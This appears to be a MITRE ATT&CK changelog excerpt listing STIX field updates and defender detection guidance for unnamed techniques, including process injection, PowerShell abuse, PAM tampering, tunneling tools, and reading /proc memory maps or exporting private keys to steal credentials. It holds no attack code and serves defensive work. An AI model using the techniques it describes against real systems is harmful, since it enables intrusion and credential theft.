Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Metadata', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:00.168000+00:00 | 2025-10-24 17:49:15.781000+00:00 |
| x_mitre_detection | Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:09.178000+00:00 | 2025-10-24 17:49:26.083000+00:00 |
| x_mitre_detection | Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) + +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:05.096000+00:00 | 2025-10-24 17:48:22.736000+00:00 |
| x_mitre_detection | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'File: File Modification', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:33.873000+00:00 | 2025-10-24 17:48:49.665000+00:00 |
| x_mitre_detection | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'File: File Creation', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:56:46.356000+00:00 | 2025-10-24 17:49:19.228000+00:00 |
| x_mitre_detection | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. + +Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:22.038000+00:00 | 2025-10-24 17:48:37.563000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 2.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Group: Group Metadata', 'Command: Command Execution', 'Application Log: Application Log Content', 'Group: Group Enumeration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:56:59.585000+00:00 | 2025-10-24 17:48:26.378000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview) |
Current version: 2.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:55.739000+00:00 | 2025-10-24 17:49:11.351000+00:00 |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. + +Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. + +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:08.689000+00:00 | 2025-10-24 17:49:24.096000+00:00 |
| x_mitre_detection | Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. + +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:57:13.867000+00:00 | 2025-10-24 17:49:00.573000+00:00 |
| x_mitre_detection | Monitor for common command-line editors used to modify plist files located in auto-run locations, such as \~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist.
+
+Monitor for plist file modification immediately followed by code execution from \~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.
+
+Identify new services executed from plist modified in the previous user's session. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Logon Session: Logon Session Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:57:26.573000+00:00 | 2025-10-24 17:48:21.118000+00:00 |
| x_mitre_detection | Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
+
+Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:21.421000+00:00 | 2025-10-24 17:49:04.301000+00:00 |
| x_mitre_detection | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:26.452000+00:00 | 2025-10-24 17:48:42.872000+00:00 |
| x_mitre_detection | Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.
+
+Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors, paying particular attention to changes in the "Driver" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Access', 'Process: OS API Execution', 'Process: Process Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:15.984000+00:00 | 2025-10-24 17:49:01.839000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:18.299000+00:00 | 2025-10-24 17:49:33.435000+00:00 |
| x_mitre_detection | Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. + |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Command: Command Execution', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:52.378000+00:00 | 2025-10-24 17:49:07.660000+00:00 |
| x_mitre_detection | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
+
+Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
+
+It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
+
+Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:06.292000+00:00 | 2025-10-24 17:48:24.124000+00:00 |
| x_mitre_detection | Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:
+
+* $PsHome\Profile.ps1
+* $PsHome\Microsoft.{HostProgram}_profile.ps1
+* $Home\\\[My ]Documents\PowerShell\Profile.ps1
+* $Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1
+
+Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Drive: Drive Modification', 'File: File Modification', 'Network Traffic: Network Connection Creation', 'File: File Creation', 'Process: OS API Execution', 'Driver: Driver Metadata', 'Command: Command Execution', 'Firmware: Firmware Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:45.876000+00:00 | 2025-10-24 17:49:01.466000+00:00 |
| x_mitre_detection | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. + +Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Driver: Driver Load', 'Module: Module Load', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:17.860000+00:00 | 2025-10-24 17:48:35.261000+00:00 |
| x_mitre_detection | Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations.
+
+Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:35.201000+00:00 | 2025-10-24 17:48:50.819000+00:00 |
| x_mitre_detection | Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:57:59.661000+00:00 | 2025-10-24 17:48:36.165000+00:00 |
| x_mitre_detection | To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:08.263000+00:00 | 2025-10-24 17:49:25.806000+00:00 |
| x_mitre_detection | File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:40.519000+00:00 | 2025-10-24 17:49:40.325000+00:00 |
| x_mitre_detection | Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) + +Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:50.607000+00:00 | 2025-10-24 17:49:05.839000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:03.621000+00:00 | 2025-10-24 17:48:56.422000+00:00 |
| x_mitre_detection | Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)
+
+Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:58.724000+00:00 | 2025-10-24 17:49:14.559000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Access', 'Process: Process Modification', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Process: OS API Execution', 'Module: Module Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:16.893000+00:00 | 2025-10-24 17:48:43.053000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
+
+Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
+
+Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
+
+Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
+
+Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:29.875000+00:00 | 2025-10-24 17:48:45.888000+00:00 |
| x_mitre_detection | Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2) |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:05.377000+00:00 | 2025-10-24 17:49:20.574000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:44.084000+00:00 | 2025-10-24 17:48:57.330000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:25.896000+00:00 | 2025-10-24 17:49:33.344000+00:00 |
| x_mitre_detection | Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:14.984000+00:00 | 2025-10-24 17:48:22.022000+00:00 |
| x_mitre_detection | Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:58:36.430000+00:00 | 2025-10-24 17:48:22.109000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:08.245000+00:00 | 2025-10-24 17:49:23.660000+00:00 |
